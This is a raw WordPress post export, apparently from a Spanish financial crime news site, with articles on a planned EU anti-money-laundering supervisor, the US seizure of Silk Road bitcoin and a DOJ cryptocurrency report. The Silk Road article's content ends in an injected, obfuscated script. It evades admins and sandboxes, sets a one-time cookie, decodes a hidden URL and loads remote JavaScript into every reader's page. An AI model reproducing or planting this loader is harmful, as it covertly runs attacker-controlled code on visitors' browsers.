style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" 